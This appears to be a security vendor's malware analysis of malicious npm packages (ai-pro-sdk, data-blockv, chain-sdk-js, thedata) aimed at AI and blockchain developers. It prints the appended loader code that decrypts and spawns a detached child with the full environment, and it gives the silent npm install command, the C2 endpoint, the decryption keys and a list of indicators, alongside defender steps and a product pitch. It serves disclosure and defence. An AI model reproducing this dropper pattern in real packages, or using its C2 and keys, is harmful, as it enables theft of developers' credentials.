ai-pro-sdk (v2.0.3, published July 14, 2026) presents itself as an unofficial AI SDK v7 provider for Claude via the Claude Agent SDK. The package wraps the legitimate @anthropic-ai/claude-agent-sdk and re-exports its functions. Appended to the end of the same dist/index.js is a loader that decrypts and executes hidden code on import.
The loader imports a DES-encrypted blob from data-blockv, a second package published by the same account. The decrypted payload is obfuscated JavaScript that silently installs dependencies, contacts a hardcoded remote server, retrieves an AES-256-CBC-encrypted second stage, writes it to the OS temp directory, and executes it. The same publisher runs a parallel campaign targeting blockchain developers through chain-sdk-js and its dependency thedata.
The artifact
ai-pro-sdk lists its repository as github[.]com/ben-vargas/ai-pro-sdk. That URL returns HTTP 404. The npm publisher is arslan310kiran, not ben-vargas. No matching GitHub repository exists.
The publisher account has three packages. All were published between July 13 and July 14, 2026, with rapid version iteration suggesting active testing of the payload delivery.
| Package | Versions | Published (UTC) | Role |
|---|---|---|---|
| data-blockv | 1.0.0, 1.0.1 | Jul 13, 14:42 and 20:51 | Encrypted payload carrier |
| ai-pro-sdk | 2.0.1, 2.0.2, 2.0.3 | Jul 14, 07:19 to 07:30 (11 min) | Lure targeting AI developers |
| chain-sdk-js | 1.0.2 through 1.0.5 | Jul 14, 15:14 to 15:49 (35 min) | Lure targeting blockchain developers |
The build script in package.json is a no-op: node -e "console.log('Build skipped; dist artifacts are already present')". The test script is similarly empty. The dist artifacts are pre-built and not reproducible from any public source.
What it does
The wrapper
The first 4,638 lines of dist/index.js are a functional AI SDK provider. The code imports from @anthropic-ai/claude-agent-sdk, @ai-sdk/provider, and @ai-sdk/provider-utils, implementing message conversion, tool handling, and MCP server bridging. This code works. It provides the functionality described in the README, which makes the package appear legitimate on inspection.
The loader
Starting at line 4,639, the file imports child_process.spawn and crypto-js, and defines a DES decryption function with a hardcoded password:
const PASSWORD = "babyysharkk";
export function decryptToken(token, password) {
let bytes;
bytes = CryptoJS.DES.decrypt(token, password);
const text = bytes.toString(CryptoJS.enc.Utf8);
return text;
}An immediately-invoked async function imports data-blockv, decrypts its default export, writes the result to a randomly-named temp file, and spawns it as a detached child process:
const mod = await import('data-blockv');
const tokenCandidate = mod && (mod.default ?? mod.token ?? mod);
const decrypted = decryptToken(String(tokenCandidate).trim(), PASSWORD);
fsMod.writeFileSync(tmpPath, String(decrypted), { mode: 0o600 });
const rsa_exec = spawn(process.execPath, [tmpPath], {
detached: true,
stdio: ['ignore', outFd, errFd],
cwd: process.cwd(),
env: process.env
});
rsa_exec.unref();The child process inherits the full process.env, giving the spawned script access to every environment variable on the host: API keys, cloud credentials, registry tokens. The detached: true and unref() calls ensure the child continues running after the parent process exits.
The payload carrier
data-blockv (v1.0.1) contains eight files. Its README claims it reads a SQLite database file named data.db. The actual code in index.js and index.mjs reads a different file, data.js, and exports its contents as a string.
data.js is a 33,240-character blob. The first eight bytes decode from base64 to Salted__, the standard CryptoJS encrypted data prefix.
The decrypted payload
The decrypted content is 24,909 characters of heavily obfuscated JavaScript using string array rotation and RC4 string encoding. Decoding the 76 unique obfuscated strings from the string table reveals the following behavior:
Dependency staging. The payload runs npm install axios socket.io-client --loglevel silent via child_process.execSync. The --loglevel silent flag suppresses all console output.
C2 contact. The payload builds a server address from four arithmetic expressions that evaluate to the IP 45[.]61[.]129[.]179. It contacts hxxp://45[.]61[.]129[.]179/api/service/ using axios with an Authentication header.
Second-stage decryption. The C2 response is split by : to extract an IV and ciphertext. The payload decrypts the ciphertext using crypto.createDecipheriv('aes-256-cbc', key, Buffer.from(iv, 'base64')) with the hardcoded key f43729dbad1c5a00380e710e537ffd6f.
Second-stage execution. The decrypted script is written to os.tmpdir() via fs.writeFileSync and executed with child_process.execSync with windowsHide: true.
Error suppression. The payload registers handlers for uncaughtException and unhandledRejection on process, ensuring errors from the malicious code do not surface to the user.
The parallel campaign
The same publisher account runs a second lure targeting blockchain developers. chain-sdk-js presents itself as a JavaScript library for the Theta blockchain. It depends on thedata, which is published by a different account (denniscarl, email dennis87carl[@]outlook.com).
thedata is structured as a Turborepo monorepo (64 files, 744 KB unpacked). Its entry point exports rsaKey and desKey, both read from .db files that contain OpenSSL-encrypted, base64-encoded data. The same structure as data-blockv: legitimate-looking packaging around encrypted payload files.
The chain-sdk-js dependency list includes crypto-js alongside legitimate blockchain libraries (ethers, secp256k1, rlp). The thedata package was published on July 14, 2026 at 14:07 UTC, one hour before chain-sdk-js at 15:14 UTC.
| Lure | Payload dep | Publisher | Target audience |
|---|---|---|---|
| ai-pro-sdk | data-blockv | arslan310kiran | AI/LLM developers |
| chain-sdk-js | thedata | arslan310kiran / denniscarl | Blockchain developers |
Indicators of compromise
| Type | Indicator | Context |
|---|---|---|
| npm package | ai-pro-sdk (2.0.1, 2.0.2, 2.0.3) | Lure targeting AI developers |
| npm package | data-blockv (1.0.0, 1.0.1) | DES-encrypted payload carrier |
| npm package | chain-sdk-js (1.0.2 through 1.0.5) | Lure targeting blockchain developers |
| npm package | thedata (1.0.0, 1.0.1) | Dual-payload carrier (rsa.db, des.db) |
| npm account | arslan310kiran | Publisher of ai-pro-sdk, data-blockv, chain-sdk-js |
| npm email | arslan310.kiran[@]outlook[.]com | Registration email for arslan310kiran |
| npm account | denniscarl | Publisher of thedata |
| npm email | dennis87carl[@]outlook[.]com | Registration email for denniscarl |
| GitHub (404) | github[.]com/ben-vargas/ai-pro-sdk | Phantom repository claimed in package.json |
| C2 IP | 45[.]61[.]129[.]179 | Payload delivery server (computed from obfuscated arithmetic) |
| C2 endpoint | hxxp://45[.]61[.]129[.]179/api/service/ | Stage 2 download URL |
| Cipher (stage 1) | DES with password babyysharkk | Decrypts data-blockv blob |
| Cipher (stage 2) | AES-256-CBC | Decrypts C2 response |
| AES key | f43729dbad1c5a00380e710e537ffd6f | Hardcoded in obfuscated payload |
| Silent install | npm install axios socket.io-client —loglevel silent | Dependency staging by payload |
| Temp file pattern | ai-pro-sdk-child-{timestamp}-{random}.js | First-stage dropper artifact on disk |
| Log file pattern | ai-pro-sdk-child-{timestamp}-{random}.out.log | Child process stdout log |
| Process flag | windowsHide: true | Hides spawned process window on Windows |
| Error suppression | process.on(‘uncaughtException’) | Silent error handling |
What a defender can do
Search your lockfile for ai-pro-sdk, data-blockv, chain-sdk-js, or thedata. If any resolved, treat the host as compromised. Rotate every credential that was present in environment variables on that machine: API keys, cloud tokens, registry credentials.
Check os.tmpdir() for files matching ai-pro-sdk-child-*.js and their corresponding .out.log and .err.log files. Check for any node processes running from temp-directory scripts. The spawned process is detached and will continue running after the parent exits.
The ignore-scripts=true setting in .npmrc does not block this package. The malicious code is not in a lifecycle script. It runs at module load time when the package is imported.
npm install axios socket.io-client --loglevel silent leaves traces in the local node_modules directory and in npm’s cache log (~/.npm/_logs/). The presence of socket.io-client in a project that does not use it is a signal worth investigating.
Where Aephix fits
Two npm accounts published four packages across two days, targeting two different developer audiences with the same encrypted dropper technique. The accounts share infrastructure (same C2 server, same encryption scheme, same code structure) but publish under different names with different email addresses. Recognizing that ai-pro-sdk and chain-sdk-js are part of the same operation requires looking beyond individual package metadata.
Aephix Sleuth links a flagged package to the wider operation behind it, with a confidence level and supporting evidence. When one package in this operation is flagged, the others surface with it. Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious, so a lure package from a coordinated campaign is something you recognize before it reaches your lockfile.